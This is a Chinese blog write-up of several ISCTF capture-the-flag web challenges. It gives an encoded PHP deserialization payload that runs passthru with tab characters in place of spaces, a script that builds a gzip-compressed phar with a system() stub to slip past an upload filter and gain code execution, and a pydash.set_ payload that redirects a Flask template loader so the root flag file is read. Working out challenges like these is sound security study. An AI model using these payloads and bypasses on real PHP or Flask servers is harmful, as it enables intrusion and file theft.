Linux Shell 有一个环境变量叫做 IFS(内部字段分隔符)。它的作用是定义 Shell 在读取输入或解析命令时,用哪些字符来区分不同的参数。

  • 默认情况下,IFS 的值包含三个字符:

    1. 空格 (Space, ASCII 32, \x20)

    2. 制表符/Tab (Tab, ASCII 9, \t, \x09)

    3. 换行符 (Newline, ASCII 10, \n, \x0a)

    4. 在url或者被$_GET[]解析时,上述写法可以改成%20,%09,%0a'

      实际上<>也可以被当作空格,shell读到重定向符就知道把两边分开了

payload

ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A17%3A%22passthru%28%27ls%09%2F%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
//对应passthru('ls\t/');

payload

ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A24%3A%22passthru%28%27strings%09%2Ff%2A%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
//对应passthru('strings\t/f*');

图片

include_upload

开题后检查源码,提示include.php

图片

内容如下:

图片

这里我们先进行常规的文件上传测试,改后缀、改MIME类型但是都没办法绕过,特别是这题还对文件内容做了限制,<都被ban了,js格式的一句话也无法生效。

这时候就要利用到include了,因为篇幅原因,这里我就简单说下:

当我们include一个文件的时候,会调用一个叫做compile_filename的方法,持续跟进这个方法会发现最后有一个判断--文件名中是否包含.phar,如果是,则调用phar_open_from_fp,这个方法会去判断文件的压缩形式(这题对后缀有限制,所以我们使用gz或者是bzip2进行压缩),如果是gz或bzip2,则解压,并且包含。这里的解压步骤很重要,我们的phar文件内容其实还是可读的,会被题目waf,所以必须进行一次压缩,使得文件内容不可读,从而绕过题目限制,实现rce。

先用脚本生成一个phar文件,命令按需修改:

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
    system('ls /');
    __HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>

然后压成gz压缩包,再把后缀改成png(只需要保证文件名有.phar即可,文件目录含有.phar都可以),上传文件:

图片

图片

直接cat即可获得flag

Who am I

首先注册账号,登录的时候抓包,这里有个type=1,多次尝试无果后觉得关键点就在这里,改type=0,进入管理界面

看到main.py的源码

图片

from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致,请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功,请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败,请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)

漏洞点在这里:

if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"
@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

考的是pydash的set_函数,先给出payload再做解释:

/operate?username=app&password=jinja_loader.searchpath[0]&confirm_password=/

图片

/impression?point=flag

图片

因为pydash的set_函数的参数可控,/impression路由渲染模板的路径也可以自定义,所以我们尝试修改渲染模板加载位置,让下次渲染的路径为根目录的flag文件,从而获得flag。

第一个参数app是Flask应用实例,表示要操作的对象,必须是 dict、list、或支持属性/项赋值的对象

第二个参数jinja_loader.searchpath[0]:模板加载位置,默认是第一个,所以我们把加载位置从第一位替换到根目录(即第三个参数)

连接起来,即app.jinja_loader.searchpath[0] ,app.jinja_loader是一个 FileSystemLoader(Jinja2 模板加载器),它的 searchpath是一个目录列表,Jinja2 从中查找模板文件,接着把模板地址替换到point所指向的flag文件。

posted @ 2026-03-04 23:24  Amoda  阅读(0)  评论(0)    收藏  举报